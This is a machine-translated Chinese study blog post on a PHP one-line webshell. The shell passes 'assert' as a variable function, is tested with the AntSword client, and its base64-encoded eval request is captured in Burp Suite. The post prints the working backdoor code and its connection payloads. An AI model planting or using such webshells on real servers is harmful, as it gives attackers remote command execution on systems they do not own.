当前位置:网站首页>Security foundation 6 - vulnerability recurrence
Security foundation 6 - vulnerability recurrence
2022-07-25 19:25:00 【Hold the kitten】
Tools : Ant sword 、burpsuite
In a word, Trojans :
<?php
$_POST['1']($_POST['2']);1、 Start : We want to POST Medium 1 Transmission :eval, So this becomes eval($_POST['2]), At this time, it becomes a perfect one sentence Trojan horse .
however : The connection fails in this way


Reasons for failure :eval It's a language construct, not a function , Cannot be called by a mutable function
PHP Support the concept of variable function , If a variable name is followed by parentheses ,PHP Will look for a function with the same name as the value of the variable , And try to execute it . Variable functions can be used to implement, including callback functions , Some uses, including function tables .
2、 At this time , We try to use assert Function test

But it still hasn't been achieved
3、 Then we will 1 Submitted as assert,2 Submitted as eval($_POST[2]) To test , Submitting parameters in this way is equivalent to PHP The code in becomes assert(eval($_POST[2]))

Finally, the connection is successful , It shows that this method is feasible
The reason for success :assert stay php Is considered a function
4、 If we 1 Submitted as assert,2 Submitted as $_POST['chengke'],post Inside is any string , Can it be successful , We succeed again

for the first time , The connection password we set is chengke, The connection fails
The second time , We changed the password to 2 when , Show successful connection

At this time, we grab bags and test
First step : We first in burpsuite And ant sword


The second step : Use ant sword to initiate connection request for packet capture

The information you can get by capturing packets starts with :1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
Can see 2 There is one more inside eval function , Because we use base64 code , So it uses eval Function pair base64 Provide decoding operation
If we don't use encoder , The result of the test is :
We can see the information obtained without using the encoder 2 There is no eval function , Just a string , However, only strings cannot be executed assert function , So you can't use encoder .1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
Thus we can see that , When we choose base64 Encoder encoding , It will generate automatically eval Function pair base64 decode , However, we just need to 2 There is eval function , You can use assert So as to generate a sentence Trojan .
边栏推荐
- Have you ever seen this kind of dynamic programming -- the stock problem of state machine dynamic programming (Part 1)
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(5)任务书
- C# 合并集合
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(2)小程序功能
- Internal network planning and design of Yingcheng hospital
- Youfu network was invited to attend the 2022 national CIO conference and won the title of "CIO trusted brand"
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(1)开发概要
- Based on easycv to reproduce Detr and dab-detr, the correct opening method of object query
- Dynamic implementation of wechat applet 27 progress bar and static construction of search box and hot search list
- Common development software download addresses
猜你喜欢

英诚医院内部网络规划与设计

帝国CMS整站|手机号/QQ靓号商城源码|适配移动端

微信小程序 27 进度条的动态实现和搜索框、热搜榜的静态搭建

高端旗舰投影仪选购指南:当贝X3 Pro、当贝F5观影更沉浸!

Youth, oh, youth

Sccm2012r2 network deployment reinstallation system

Dynamic implementation of wechat applet 27 progress bar and static construction of search box and hot search list

基础乐理之音程的度数

高效生成接口文档好方法

【刷题记录】21. 合并两个有序链表
随机推荐
Sccm2012r2 network deployment reinstallation system
【HDLBits 刷题】Verilog Language(3)Modules: Hierarchy 部分
How to be a self disciplined person?
【DETR用于3D目标检测】DETR3D: 3D Object Detection from Multi-view Images via 3D-to-2D Queries
Pymoo学习 (6):终止条件
Dynamic implementation of wechat applet 27 progress bar and static construction of search box and hot search list
[record of question brushing] 21. Merge two ordered linked lists
Wechat campus maintenance and repair applet graduation design finished product of applet completion work (4) opening report
新瓶装老酒--近期APT32(海莲花)组织攻击活动样本分析
伺服驱动器在机器人上的研究与应用
李宏毅《机器学习》丨1. Introduction of this course(机器学习介绍)
kubernetes RBAC
Istio exposes applications to the Internet
Wechat campus maintenance application applet graduation design finished product of applet completion work (8) graduation design thesis template
这种动态规划你见过吗——状态机动态规划之股票问题(上)
[applet development] detailed explanation of host environment
Small program completion work wechat campus maintenance application small program graduation design finished product (2) small program function
Youfu network was invited to attend the 2022 national CIO conference and won the title of "CIO trusted brand"
Hongmeng - Damiao computing Sketchpad - VIDEO
Scala基础【集合01】